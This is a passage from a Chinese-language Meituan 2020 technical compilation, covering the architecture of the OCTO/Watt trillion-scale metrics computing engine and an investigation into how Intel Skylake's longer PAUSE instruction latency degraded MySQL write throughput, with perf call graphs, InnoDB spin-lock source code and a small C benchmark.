CPU:       Info: 2x 16-Core model: Intel Xeon Gold 5218 bits: 64 type: 
MT MCP SMP arch: Cascade Lake rev: 7 L2 cache: 44.0 MiB

           flags: avx avx2 lm nx pae sse sse2 sse3 sse4_1 sse4_2 ssse3 
vmx bogomips: 293978 Speed: 2300 MHz min/max: N/A 

Info:        Processes: 764  Memory: 187.19 GiB used: 15.05 GiB (8.0%) 
Init: systemd runlevel: 3 Compilers: gcc: 4.8.5

/proc/cpuinfo 文件中也可以查看 CPU 支持的指令集

flags  : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca 
cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall 
nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good 
nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 
monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid dca 
sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 
3dnowprefetch epb cat_l3 cdp_l3 intel_ppin intel_pt ssbd mba ibrs ibpb 
stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle 
avx2 smep bmi2 erms invpcid rtm cqm mpx rdt_a avx512f avx512dq rdseed adx 
smap clflushopt clwb avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 
cqm_llc cqm_occup_llc cqm_mbm_total cqm_mbm_local dtherm ida arat pln pts 
pku ospke spec_ctrl intel_stibp flush_l1d arch_capabilities

参考文献
https://engineering.fb.com/core-data/smaller-and-faster-data-compression-with-

zstandard/

https://engineering.fb.com/core-data/zstandard/

https://peazip.github.io/fast-compression-benchmark-brotli-zstandard.html

https://news.ycombinator.com/item?id=16227526

https://github.com/facebook/zstd

https://engineering.fb.com/core-data/smaller-and-faster-data-compression-with-zstandard/
https://engineering.fb.com/core-data/smaller-and-faster-data-compression-with-zstandard/
https://engineering.fb.com/core-data/zstandard/
https://peazip.github.io/fast-compression-benchmark-brotli-zstandard.html
https://news.ycombinator.com/item?id=16227526
https://github.com/facebook/zstd
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http://fastcompression.blogspot.com/2013/12/finite-state-entropy-new-breed-of.html

https://zlib.net/pigz/

https://cran.r-project.org/web/packages/brotli/vignettes/brotli-2015-09-22.pdf

https://bugs.python.org/issue41566

https://01.org/sites/default/files/documentation/isa-l_api_2.28.0.pdf

https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/fast-

crc-computation-generic-polynomials-pclmulqdq-paper.pdf
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美团OCTO万亿级数据中心计算引擎技术解析

作者：继东　业祥　成达　张昀

美团自研的 OCTO 数据中心（简称 Watt）日均处理万亿级数据量，该系统具备较好

的扩展能力及实时性，千台实例集群周运维成本低于 10 分钟。本文将详细阐述 Watt 

计算引擎的演进历程及架构设计，同时详细介绍其全面提升计算能力、吞吐能力、降

低运维成本所采用的各项技术方案。希望能给大家一些启发或者帮助。

一、OCTO 数据中心简介

1.1	系统介绍

1.1.1	OCTO系统介绍

OCTO 是美团标准化的服务治理基础设施，目前几乎覆盖公司所有业务的治理与运

营。OCTO 提供了服务注册发现、数据治理、负载均衡、容错、灰度发布等治理功

能，致力于提升研发效率，降低运维成本，并提升应用的稳定性。OCTO 最新演进

动态细节可参考《美团下一代服务治理系统 OCTO2.0 的探索与实践》一文。

1.1.2	OCTO数据中心业务介绍

OCTO 数据中心为业务提供了立体化的数字驱动服务治理能力，提供了多维度的精

确时延 TP（Top Percent，分位数，最高支持 6 个 9）、QPS、成功率等一系列核心

指标，粒度方面支持秒级、分钟级、小时级、天级，检索维度支持多种复杂查询（如

指定调用端 IP + 服务端各接口的指标，指定主机 + 接口的指标等）。这些功能有效地

帮助开发人员在复杂的分布式调用关系拓扑内出现异常时，能快速定位到问题，也有

助于研发人员全方位掌控系统的稳定性状况。

目前 Watt 承载日均超万亿条数据的 10 余个维度精确准实时统计。而伴随着数据量

的迅猛增长，其整个系统架构也经历了全面的技术演进。
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1.1.3	OCTO原架构介绍

OCTO 计算引擎在重构之前，也面临诸多的问题，其原始架构设计如下：

1. 采集层：每个业务应用实例部署一个采集代理，代理通过将采集数据用批量 

RPC 的方式发送给路由节点。

2. 路由层：每个路由节点随机收到各服务的数据后，将同一服务的所有数据，用

类似 IP 直连的方式通过 RPC 发送到计算层的同一个计算节点。同服务数据

汇总到同计算节点才能进行特定服务各个维度的聚合计算。

3. 计算层：每个计算节点采用 Akka 模型，节点同时负责分钟、小时、天粒度的

数据计算集。每个计算集里面又有 10 个子计算 actor，每个子计算 actor 对

应的是一个维度。采用“先计算指标，再存储数据”的准实时模式。

4. 存储层：准实时数据使用 HBase 存储，元数据及较大数据采用 KV 存储（美

团内部系统 Cellar）及 MySQL 存储。

1.2	问题、目标与挑战

1.2.1	原架构面临的问题

1. 计算节点有状态，异常无法自动化迁移。计算层部署的每个节点平均负责

200+ 服务的统计。一个节点 OOM 或宕机时，其管理的 200 个服务的数据
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会丢失或波动，报警等依托数据的治理功能也会异常。此外计算节点 OOM 

时也不宜自动迁移受影响的服务，需人工介入处理（异常的原因可能是计算节

点无法承载涌入的数据量，简单的迁移易引发“雪崩”），每周投入的运维时

间近 20 小时。

2. 系统不支持水平扩展。计算节点的压力由其管理的服务调用量、服务内维度

复杂度等因素决定。大体量的服务需单独分配高配机器，业务数据膨胀计算

节点能力不匹配时，只能替换更高性能的机器。

3. 系统整体稳定性不高。数据传输采用 RPC，单计算节点响应慢时，易拖垮所

有路由层的节点并引发系统“雪崩”。

4. 热点及数据倾斜明显，策略管理复杂。按服务划分热点明显，存在一个服务

数据量比整个计算节点 200 个服务总数多的情况，部分机器的 CPU 利用率

不到 10%，部分利用率在 90%+。改变路由策略易引发新的热点机器，大体

量服务数据增长时需要纵向扩容解决。旧架构时人工维护 160 余个大服务到

计算节点的映射关系供路由层使用。

旧架构日承载数据量约 3000 亿，受上述缺陷影响，系统会频繁出现告警丢失、误告

警、数据不准、数据延迟几小时、服务发布后 10 分钟后才能看到流量等多种问题。

此外，数据体量大的服务也不支持部分二级维度的数据统计。

1.2.2	新架构设计的目标

基于上述问题总结与分析，我们新架构整体的目标如下：

1. 高吞吐、高度扩展能力。具备 20 倍 + 的水平扩展能力，支持日 10 万亿数据

的处理能力。

2. 数据高度精确。解决节点宕机后自愈、解决数据丢失问题。

3. 高可靠、高可用。无计算单点，所有计算节点无状态；1/3 计算节点宕机无影

响；具备削峰能力。

4. 延时低。秒级指标延迟 TP99<10s；分钟指标延迟 TP99<2min。
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1.2.3	新架构面临的挑战

在日计算量万亿级别的体量下，实现上述挑战如下：

1. 数据倾斜明显的海量数据，数据指标的维度多、指标多、时间窗口多，服务

间体量差异达百万倍。

2. TP 分位数长尾数据是衡量系统稳定性最核心的指标，所有数据要求非采样拟

合，实现多维度下精确的分布式 TP 数据。

3. 架构具备高稳定性，1/3 节点宕机不需人工介入。

4. 每年数据膨胀至 2.4 倍 +，计算能力及吞吐能力必须支持水平扩展。

5. TP 数据是衡量服务最核心的指标之一，但在万亿规模下，精确的准实时多维

度分布式 TP 数据是一个难题，原因详细解释下：常规的拆分计算后聚合是无

法计算精确 TP 数据的，如将一个服务按 IP（一般按 IP 划分数据比较均匀）

划分到 3 个子计算节点计算后汇总，会面临如下问题：

 ○ 假 设 计 算 得 出 IP1 的 TP99 是 100ms、QPS 为 50；IP2 的 TP99 是

10ms、QPS 为 50；IP3 的 TP99 是 1ms，QPS 为 50。那么该服务整

体 TP99 是（100ms x 50 + 10ms x 50 + 1ms x 50）/ (50 + 50 + 50) = 

37ms 吗？ 并非如此，该服务的真实 TP99 可能是 100ms，在没有全量样

本情况下无法保证准确的 TP 值。

 ○ 假设不需要服务全局精确的时延 TP 数据，也不可以忽略该问题。按上述方

式拆分并合并后，服务按接口维度计算的 TP 数据也失去了准确性。进一步

说，只要不包含 IP 查询条件的所有 TP 数据都失真了。分位数这类必须建

立在全局样本之上才能有正确计算的统计值。

二、计算引擎技术设计解析

2.1	方案选型

大数据计算应用往往基于实时或离线计算技术体系建设，但 Flink、Spark、OLAP

等技术栈在日超万亿级别量级下，支持复杂维度的准实时精确 TP 计算，对资源的消

耗非常较大，总结如下：
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2.2	系统设计思路

1. 解决稳定性问题，思路是（1）将计算节点无状态化（2）基于心跳机制自动剔

除异常节点并由新节点承载任务（3）消息队列削峰。

2. 解决海量数据计算问题，思路是（1）在线 & 离线计算隔离，两者的公共子计

算前置只计算一次（2）高并发高吞吐能力设计（3）理论无上限的水平扩展能

力设计。

3. 解决热点问题，思路是（1）优化计算量分配算法，如均衡 Hash（2）理论无

上限的水平扩展能力设计。

4. 解决水平扩展问题，思路（1）是将单节点无法承载的计算模式改为局部分布

式子计算并汇总，但这种方式可能会对数据准确性造成较大影响，数据统计

领域精确的分布式分位数才是最难问题，另外多维条件组织对分布式改造也

相当不利。（备注：其中在 1.2.3 第五条有详细的解释）

5. 解决海量数据分布式多维精确 TP 计算，采用局部分布式计算，然后基于拓

扑树组织数据计算流，在前置的计算结果精度不丢失的前提下，多阶段逐级

降维得到所有的计算结果。

2.3	技术方案详细解析

2.3.1	数据流解析

系统根据待统计的维度构建了一棵递推拓扑树，如下图所示。其中黄色的部分代表消
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息队列（每个矩形代表一个 topic），绿色部分代表一个计算子集群（消费前置 topic 多

个 partition，统计自己负责维度的数据指标并存储，同时聚合压缩向后继续发）。除

“原始采集数据 topic 外”，其他 topic 和 consumer 所在维度对应数据的检索条件

（如标红二级 topic ：主机 + 接口，代表同时指定主机和接口的指标查询数据），红色

箭头代表数据流向。

拓扑树形结构的各个子集群所对应的维度标识集合，必为其父计算集群对应维度标

识集合的真子集（如下图最上面链路，“主机 + 接口 + 远程服务”3 个维度一定包含

“主机 + 接口”两个维度。“主机 + 接口”两个维度包含“主机”维度）。集群间数据

传输，采用批量聚合压缩后在消息队列媒介上通信完成，在计算过程中实现降维。

2.3.2	计算模式解析

下面详细介绍数据拓扑树中分布式子集群的计算模式：

1. 首先，维度值相同的所有数据会在本层级集群内落到同一计算节点。每个计

算子集群中的各计算节点，从消息队列消费得到数据并按自身维度进行聚合

（前置集群已经按当前集群维度指定分发，所以聚合率很高），得到若干计数卡

表（计数卡表即指定维度的时延、错误数等指标与具体计数的映射 Map）。
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2. 其次，将聚合后的计数卡表与现有的相同维度合并计算，并在时间窗口存储

指标。

3. 若计算集群有后续的子计算集群，则基于后继集群的目标维度，根据目标维度

属性做散列计算，并将相同散列码的计数卡表聚合压缩后发到后继 partition。

4. 离线的天级计算复用了三级维度、二级维度的多项结果，各环节前面计算的

结果为后面多个计算集群复用，任何一个服务的数据都是在分布式计算。此

外，整个计算过程中维护着技术卡表的映射关系，对于 TP 数据来说就是精

确计算的，不会失真。

整个计算过程中，前置计算结果会被多个直接及间接后续子计算复用（如三级聚合计

算对二级和一级都是有效的），在很大程度上减少了计算量。

2.3.3	关键技术总结

1. 高吞吐 & 扩展性关键设计

 ● 去计算热点：组织多级散列数据流，逐级降维。

 ● 降计算量：前置子计算结果复用，分布式多路归并。
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 ● 降网络 IO，磁盘 IO：优化 PB 序列化算法，自管理 MQ 批量。

 ● 去存储热点：消除 HBase Rowkey 热点。

 ● 无锁处理：自研线程分桶的流批处理模型，全局无锁。

 ● 全环节水平扩展：计算、传输、存储均水平扩展。

2. 系统高可靠、低运维、数据准确性高于 5 个 9 关键设计

 ● 无状态化 + 快速自愈：节点无状态化，宕机秒级感知自愈。

 ● 异常实时感知：异常节点通过心跳摘除，异常数据迁移回溯。

 ● 故障隔离容灾：各维度独立隔离故障范围；多机房容灾。

 ● 逐级降维过程中数据不失真，精确的 TP 计算模式。

3. 提升实时性关键设计

 ● 流式拓扑模型，分布式子计算结果复用，计算量逐级递减。

 ● 无锁处理：自研线程分桶的流批处理模型，全局无锁。

 ● 异常实时监测自愈：计算节点异常时迅速 Rebalance，及时自愈。

 ● 秒级计算流独立，内存存储。

三、优化效果

1. 目前日均处理数据量超万亿，系统可支撑日 10 万亿 + 量级并具备良好的扩展

能力；秒峰值可处理 5 亿 + 数据；单服务日吞吐上限提升 1000 倍 +，单服务

可以支撑 5000 亿数据计算。

2. 最大时延从 4 小时 + 降低到 2min-，秒级指标时延 TP99 达到 6s；平均时

延从 4.7 分 + 降低到 1.5 分 -，秒级指标平均时延 6s。

3. 上线后集群未发生雪崩，同时宕机 1/3 实例 2 秒内自动化自愈。

4. 支持多维度的准实时精确 TP 计算，最高支持到 TP 6 个 9；支持所有服务所

有维度统计。

5. 千余节点集群运维投入从周 20 小时 + 降低至 10 分 -。
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四、总结

本文提供了一种日均超万亿规模下多维度精确 TP 计算的准实时数据计算引擎方案，

适用于在超大规模数字化治理体系建设中，解决扩展性、实时性、精确性、稳定性、

运维成本等问题。美团基础研发平台欢迎业界同行一起交流、探讨。

五、作者简介
继东，业祥，成达，张昀，均来自基础架构服务治理团队，研发工程师。

招聘信息
美团基础架构团队诚招高级、资深技术专家，Base 北京、上海。我们致力于建设美团全公司

统一的高并发高性能分布式基础架构平台，涵盖数据库、分布式监控、服务治理、高性能通信、

消息中间件、基础存储、容器化、集群调度等基础架构主要的技术领域。欢迎有兴趣的同学投

送简历到 tech@meituan.com（邮件标题注明：美团基础架构团队）。
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Intel	PAUSE指令变化影响到MySQL的性能，
该如何解决？

作者：春林

MySQL 得益于其开源属性、成熟的商业运作、良好的社区运营以及功能的不断迭代

与完善，已经成为互联网关系型数据库的标配。可以说，X86 服务器、Linux 作为基

础设施，跟 MySQL 一起构建了互联网数据存储服务的基石，三者相辅相成。本文将

分享一个工作中的实践案例：因 Intel PAUSE 指令周期的迭代，引发了 MySQL 的

性能瓶颈，美团 MySQL DBA 团队如何基于这三者来一步步进行分析、定位和优化。

希望这些思路能对大家有所启发。

1. 背景

在 2017 年，Intel 发布了新一代的服务器平台 Purley，并将 Intel Xeon Scalable 

Processor（至强可扩展处理器）重新划分为：Platinum（铂金）、Gold（金）、Silver

（银）、Broze（铜）等四个等级。产品定位和框架也变得更加清晰。

因美团线上海量数据交易和存储等后端服务依赖大量高性能服务器的支撑。随着线上

部分 Grantly 平台 E 系列服务器生命周期的临近，以及产品本身的发展和迭代。从

2019 年开始，RDS（关系型数据库服务）后端存储（MySQL）开始大量上线 Purley

平台的 Skylake CPU 服务器，其中包含 Silver 4110 等。

Silver 4110 相比上一代 E5-2620 V4，支持更高的内存频率、更多的内存通道、更

大的 L2 Cache、更快的总线传输速率等。Intel 官方数据显示 Silver 4110 的性能比

上一代 E5-2620 V4 提升了 10%。

然而，随着线上 Skylake 服务器数量的增加，以及越来越多的业务接入。美团

MySQL DBA 团队发现部分 MySQL 实例性能与预期并不相符，有时甚至出现较大

程度的下降。经过持续的性能问题分析，我们定位到 Skylake 服务器存在性能瓶颈：
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 ● CPU 负载相对较高。

 ● TPS 等吞吐量下降。

接下来，我们将从 Intel CPU、ut_delay 函数、PAUSE 指令三方面入手，进行剖析

定位，并探索相关优化方案。

2. 性能问题分析

2.1	Grantly 与 Purley	CPU性能差异

首先，基于上述两代平台的 CPU（Grantly 和 Purley），通过基准测试，横向对比在

不同 OS 下的性能表现。

通过基准测试数据，总结如下：

1. 在 oltp_write_only（只写）的场景下 Purley 4110 的性能下降较为明显。 2. 同

为 Purley 4110，CentOS 7 比 CentOS 6 oltp_write_only（只写）性能有提升。

我们通过二维折线图，来展示性能之间的差异：

在上图中，同为 Purley 4110，CentOS 7 比 CentOS 6 性能有提升。具体提升原

因，因不涉及本文重点内容，所以不在这里详细展开了。
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 New MCS-based Locking Mechanism

 Red Hat Enterprise Linux 7.1 introduces a new locking mechanism, 

MCS locks. This new locking mechanism significantly reduces spinlock 

overhead in large systems, which makes spinlocks generally more 

efficient in Red Hat Enterprise Linux 7.1.

红帽官网 Release Notes 显示，从内核 3.10.0-229 开始，引入了新的加锁机制，

MCS 锁。可以降低 spinlock 的开销，从而更高效地运行。普通 spinlock 在多 CPU 

Core 下，同时只能有一个 CPU 获取变量，并自旋，而缓存一致性协议为了保证数

据的正确，会对所有 CPU Cache Line 状态、数据，同步、失效等操作，导致性能

下降。而 MSC 锁实现每个 CPU 都有自己的“spinlock”本地变量，只在本地自旋。

避免 Cache Line 同步等，从而提升了相关性能。不过，社区对于 spinlock 的优化

争议还是比较大的，后续又有大牛基于 MSC 实现了 qspinlock，并在 4.x 的版本上

patch 了。具体实现可以参看：MCS locks and qspinlocks。

在大致了解 CentOS 7 性能的迭代后，接下来我们深入分析一下 Skylake CPU 

4110 导致性能下降的缘由。

3.CPU 性能跟踪

3.1	定位热点函数

具体定位 4110 性能瓶颈，分如下几步 :

1. 首先，通过 perf top 来跟踪一下 Linux CPU 性能开销。

2. 然后，通过 perf record 记录函数 CPU 周期的消耗占比。

3. 最后，通过火焰图来验证定位热点函数。

https://lwn.net/Articles/590243/
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可以看到，其中占 CPU 消耗占比较大为：ut_delay 函数。

我们继续深挖一下函数链调用关系：

# Children      Self  Command  Shared Object        
Symbol                                                                                                                                                
                            
# ........  ........  .......  ...................  .................
.....................................................................
.....................................................................
.......................
#
    93.54%     0.00%  mysqld   libpthread-2.17.so   [.] start_thread
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            |
            ---start_thread
               |          
               |--77.07%--pfs_spawn_thread
               |          |          
               |           --77.05%--handle_connection
               |                     |          
               |                      --76.97%--do_command
               |                                |          
               |                                |--74.30%--dispatch_
command
               |                                |          |          
               |                                |          
|--71.16%--mysqld_stmt_execute
               |                                |          |          |          
               |                                |          |           
--70.74%--Prepared_statement::execute_loop
               |                                |          |                     
|          
               |                                |          |                     
|--69.53%--Prepared_statement::execute
               |                                |          |                     
|          |          
               |                                |          |                     
|          |--67.90%--mysql_execute_command
               |                                |          |                     
|          |          |          
               |                                |          |                     
|          |          |--23.43%--trans_commit_stmt
               |                                |          |                     
|          |          |          |          
               |                                |          |                     
|          |          |           --23.30%--ha_commit_trans
               |                                |          |                     
|          |          |                     |          
               |                                |          |                     
|          |          |                     |--18.86%--MYSQL_BIN_
LOG::commit
               |                                |          |                     
|          |          |                     |          |          
               |                                |          |                     
|          |          |                     |           --18.18%--MYSQL_
BIN_LOG::ordered_commit
               |                                |          |                     
|          |          |                     |                     |          
               |                                |          
|                     |          |          |                     |                     
|--8.02%--MYSQL_BIN_LOG::change_stage
               |                                |          |                     



586　>　美团 2020 技术年货

|          |          |                     |                     |          
|          
               |                                |          |                     
|          |          |                     |                     |          
|--2.35%--__lll_unlock_wake
               |                                |          |                     
|          |          |                     |                     |          
|          |          
               |                                |          |                     
|          |          |                     |                     |          
|           --2.24%--system_call_fastpath
               |                                |          |                     
|          |          |                     |                     |          
|                     |          
               |                                |          |                     
|          |          |                     |                     |          
|                      --2.24%--sys_futex
               |                                |          |                     
|          |          |                     |                     |          
|                                |          
               |                                |          |                     
|          |          |                     |                     |          
|                                 --2.23%--do_futex
               |                                |          |                     
|          |          |                     |                     |          
|                                           |          
               |                                |          |                     
|          |          |                     |                     |          
|                                            --2.14%--futex_wake
               |                                |          |                     
|          |          |                     |                     |          
|                                                      |          
               |                                |          |                     
|          |          |                     |                     |          
|                                                       --1.38%--wake_
up_q
               |                                |          |                     
|          |          |                     |                     |          
|                                                                 |          
               |                                |          
|                     |          |          
|                     |                     |          |                                                                  
--1.33%--try_to_wake_up
               ...

将上述调用通过火焰图进行直观展示：
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现在基本可以确定，所有的函数调用，最后大部分的消耗都在 ut_delay 上。

3.2	ut_delay 和 PAUSE之间的关联与性能影响

3.2.1	MySQL	ut_delay 实现

接下来，我们继续看一下 MySQL 源码中 ut_delay 函数的功能：

/*************************************************************//**
Runs an idle loop on CPU. The argument gives the desired delay
in microseconds on 100 MHz Pentium + Visual C++.
@return dummy value */
ulint
ut_delay(
/*=====*/
  ulint delay)  /*!< in: delay in microseconds on 100 MHz Pentium */
{
  ulint i, j;
 
  UT_LOW_PRIORITY_CPU();
 
  j = 0;
 
  for (i = 0; i < delay * 50; i++) {
    j += i;
    UT_RELAX_CPU();
  }
 
  UT_RESUME_PRIORITY_CPU();
 
  return(j);



588　>　美团 2020 技术年货

}
...
 
#   define UT_RELAX_CPU() asm ("pause" )
#   define UT_RELAX_CPU() __asm__ __volatile__ ("pause")

可以了解到，MySQL 自旋会调用 PAUSE 指令，从而提升 spin-wait loop 的性能。

3.2.2	PAUSE指令周期的演变

我们可以看下 Intel 官网，也描述了在新平台架构 PAUSE 的改动：

 Pause Latency in Skylake Microarchitecture

 The PAUSE instruction is typically used with software threads executing 

on two logical processors located in the same processor core, waiting 

for a lock to be released. Such short wait loops tend to last between 

tens and a few hundreds of cycles, so performance-wise it is better to 

wait while occupying the CPU than yielding to the OS. When the wait 

loop is expected to last for thousands of cycles or more, it is preferable 

to yield to the operating system by calling an OS synchronization API 

function, such as WaitForSingleObject on Windows* OS or futex on 

Linux.

 …

 The latency of the PAUSE instruction in prior generation microarchi-

tectures is about 10 cycles, whereas in Skylake microarchitecture it has 

been extended to as many as 140 cycles.

 The increased latency (allowing more effective utilization of compet-

itively-shared microarchitectural resources to the logical processor 

ready to make forward progress) has a small positive performance 

impact of 1-2% on highly threaded applications. It is expected to have 
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negligible impact on less threaded applications if forward progress is 

not blocked executing a fixed number of looped PAUSE instructions. 

There’s also a small power benefit in 2-core and 4-core systems.

 As the PAUSE latency has been increased significantly, workloads that 

are sensitive to PAUSE latency will suffer some performance loss.

 …

 ● 上一代架构中（Grantly 平台 E 系列）PAUSE 的周期时长为 10 cycles，新一

代的 Skylake 架构中则为 140 cycles。

 ● 如果程序中使用固定次数的 PAUSE 循环来实现一段时间的延迟，以此阻塞程

序执行，可能引发非预期的延迟。

 ● 由于 PAUSE 周期增加，对于 PAUSE 敏感的应用会有一定的性能损失。

衡量程序执行性能的简化公式：

ExecutionTime(T)=InstructionCount*TimePerCycle*CPI

即：程序执行时间 = 程序总指令数 x 每 CPU 时钟周期时间 x 每指令执行所需平均时

钟周期数。

MySQL 内部自旋，就是通过固定次数的 PAUSE 循环实现。可知，PAUSE 指令周

期的增加，那么执行自旋的时间也会增加，即程序执行的时间也会相对增加，对系统

整体的吞吐量就会有影响。

显然，Intel 文档已说明不同平台、不同架构 CPU PAUSE 定义的周期是不一样的。

下面，我们通过一个测试用例来大致验证、对比一下新老架构 CPU 执行 PAUSE 的

cycles：

 #include <stdio.h>
#define TIMES 5
 
static inline unsigned long long rdtsc(void)
{
    unsigned long low, high;
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    asm volatile("rdtsc" : "=a" (low), "=d" (high) );
    return ((low) | (high) << 32);
}
 
void pause_test()
{
    int i = 0;
    for (i = 0; i < TIMES; i++) {
        asm(
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"\
                "pause\n"
                ::
                :);
    }
}
 
unsigned long pause_cycle()
{
    unsigned long start, finish, elapsed;
    start = rdtsc();
    pause_test();
    finish = rdtsc();
    elapsed = finish - start;
    printf("Pause的 cycles约为 :%ld\n", elapsed / 100);
    return 0;
}
 
int main()
{
    pause_cycle();
    return 0;
}



后台　<　591

其运行结果统计如下：

 ● 4110 和 5118 PAUSE 周期较大，均为 100 多，它们属于 Purley 第一代架

构：Skylake。

 ● 4210 和 5218 PAUSE 相比前一代有提升，是因为它们同属 Purley 第二代架

构：Cascadelake，该代 CPU PAUSE 指令有优化。

3.2.3	Intel	提升 PAUSE猜想

Intel 提高 PAUSE 指令周期的原因，推测可能是减少自旋锁冲突的概率，以及降低

功耗；但反而导致 PAUSE 执行时间变长，降低了整体的吞吐量。

The increased latency (allowing more effective utilization of competitive-

ly-shared microarchitectural resources to the logical processor read to make 

forward progress) has a small positive performance impact of 1-2% on highly 

threaded applications. It is expected to have negligible impact on less thread-

ed applications if forward progress is not blocked executing a fixed number of 

looped PAUSE instructions.

3.3	PAUSE导致写瓶颈分析

接下来，我们深入分析一下 PAUSE 指令导致 MySQL 写瓶颈的原因。

首先，通过 MySQL 内部统计信息，查看一下 InnoDB 信号量监控数据：
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SEMAPHORES
----------
OS WAIT ARRAY INFO: reservation count 153720
--Thread 139868617205504 has waited at row0row.cc line 1075 for 0.00 
seconds the semaphore:
X-lock on RW-latch at 0x7f4298084250 created in file buf0buf.cc line 1425
a writer (thread id 139869284108032) has reserved it in mode  SX
number of readers 0, waiters flag 1, lock_word: 10000000
Last time read locked in file not yet reserved line 0
Last time write locked in file /mnt/workspace/percona-server-5.7-redhat-
binary-rocks-new/label_exp/min-centos-7-x64/test/rpmbuild/BUILD/percona-
server-5.7.26-29/percona-server-5.7.26-29/storage/innobase/buf/buf0flu.cc 
line 1216
OS WAIT ARRAY INFO: signal count 441329
RW-shared spins 0, rounds 1498677, OS waits 111991
RW-excl spins 0, rounds 717200, OS waits 9012
RW-sx spins 47596, rounds 366136, OS waits 4100
Spin rounds per wait: 1498677.00 RW-shared, 717200.00 RW-excl, 7.69 RW-sx

可见写操作并阻塞在：storage/innobase/buf/buf0flu.cc 第 1216 行调用上。

跟踪一下发生等待的源码：buf0flu.cc line 1216：

    if (flush_type == BUF_FLUSH_LIST
        && is_uncompressed
        && !rw_lock_sx_lock_nowait(rw_lock, BUF_IO_WRITE)) {    // 加锁前，
判断锁冲突
        
        if (!fsp_is_system_temporary(bpage->id.space())) {
        /* avoiding deadlock possibility involves
        doublewrite buffer, should flush it, because
        it might hold the another block->lock. */
        buf_dblwr_flush_buffered_writes(
          buf_parallel_dblwr_partition(bpage,
                flush_type));
      } else {
        buf_dblwr_sync_datafiles();
      }
      rw_lock_sx_lock_gen(rw_lock, BUF_IO_WRITE);        //  加 sx锁
    }
... 
 #define rw_lock_sx_lock_nowait(M, P)       \
  rw_lock_sx_lock_low((M), (P), __FILE__, __LINE__)
...
 
rw_lock_sx_lock_func(                                       // 加 sx锁函数            
/*=================*/
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  rw_lock_t*  lock, /*!< in: pointer to rw-lock */
  ulint   pass, /*!< in: pass value; != 0, if the lock will
        be passed to another thread to unlock */
  const char* file_name,/*!< in: file name where lock requested */
  ulint   line) /*!< in: line where requested */
 
{
  ulint   i = 0;
  sync_array_t* sync_arr;
  ulint   spin_count = 0;
  uint64_t  count_os_wait = 0;
  ulint   spin_wait_count = 0;
 
  ut_ad(rw_lock_validate(lock));
  ut_ad(!rw_lock_own(lock, RW_LOCK_S));
 
lock_loop:
 
  if (rw_lock_sx_lock_low(lock, pass, file_name, line)) {
 
    if (count_os_wait > 0) {
      lock->count_os_wait +=
        static_cast<uint32_t>(count_os_wait);
      rw_lock_stats.rw_sx_os_wait_count.add(count_os_wait);
    }
 
    rw_lock_stats.rw_sx_spin_round_count.add(spin_count);
    rw_lock_stats.rw_sx_spin_wait_count.add(spin_wait_count);
 
    /* Locking succeeded */
    return;
 
  } else {
 
    ++spin_wait_count;
 
    /* Spin waiting for the lock_word to become free */
    os_rmb;
    while (i < srv_n_spin_wait_rounds
           && lock->lock_word <= X_LOCK_HALF_DECR) {
 
      if (srv_spin_wait_delay) {
        ut_delay(ut_rnd_interval(
            0, srv_spin_wait_delay));                         // 加锁失败，
调用 ut_delay
      }
 
      i++;
    }                             
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    spin_count += i;
 
    if (i >= srv_n_spin_wait_rounds) {
 
      os_thread_yield();
 
    } else {
 
      goto lock_loop;
    }
...
ulong srv_n_spin_wait_rounds  = 30;
ulong srv_spin_wait_delay = 6;

上述源码可知，MySQL 锁等待是通过调用 ut_delay 做空循环实现的。

InnoDB 层有三种锁：S（共享锁）、X（排他锁）和 SX（共享排他锁）。 SX 与 SX、X

是互斥锁。加 SX 不会影响读，只会阻塞写。所以在大量写入操作时，会造成大量的

锁等待，即大量的 PAUSE 指令。

分析到这里，我们总结一下影响吞吐量的两个因素：

 ● 自旋的时长，在 MySQL5.7 以及之前版本的源码定位为：spin_wait_delay 

* 50。

 ● Intel CPU PAUSE 的指令周期。

接下来，我们就从这两方面入手，评估优化空间以及效果。

4. 针对 PAUSE 指令和 spin 参数优化与探索

4.1	MySQL	spin 参数优化

4.1.1	MySQL	5.7	spin 参数优化

我们可以基于现有 MySQL 版本、硬件等方面，来寻找优化点。

MySQL 针对 spin 控制这块有个参数可以调整，根据参数特点进行相关优化：
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innodb_spin_wait_delay

innodb_spin_wait_delay 的单位，是 100MHZ 的奔腾处理器处理 1 毫秒的时间，

默认 innodb_spin_wait_delay 配置成 6，表示最多在 100MHZ 的奔腾处理器上自

旋 6 毫秒。

innodb_sync_spin_loops

当 innodb 线程获取 mutex 资源而得不到满足时，会最多进行 innodb_sync_spin_

loops 次尝试获取 mutex 资源。

其中 innodb_spin_wait_delay 参数对 PAUSE 运行时长是有影响的。针对此参数，

我们进行调优测试。

同样，针对上述参数优化，我们通过基准测试来对比性能和效果：
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可以总结为：

 ● innodb_spin_wait_delay 的调整对 TPS、QPS 一定影响，其值趋于小，则

MySQL 性能有提升。反之，下降。

 ● innodb_spin_wait_delay 参数调整性能优化效果有限，性能提升的幅度还是

无法满足线上业务需求。

4.2	MySQL8.0	spin 新特性移植

4.2.1	spin_wait_pause_multiplier 移植

针对 Skylake CPU，PAUSE 造成的吞吐量下降，我们对 MySQL 5.7 spin 控制参

数 innodb_spin_wait_delay 的调优并未取得明显效果。

于是，我们将目光投向了 MySQL 8.0 的新特性：MySQL 8.0 针对 PAUSE，源码

中新增了 spin_wait_pause_multiplier 参数，来替换之前写死的循环次数。

4.2.2	spin_wait_pause_multiplier 实现

MySQL 8.0 源码中，之前循环 50 次的逻辑修改成了可以调整循环次数的参数：

spin_wait_pause_multiplier。

ulint ut_delay(ulint delay) {
  ulint i, j;
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  /* We don't expect overflow here, as ut::spin_wait_pause_multiplier 
is limited
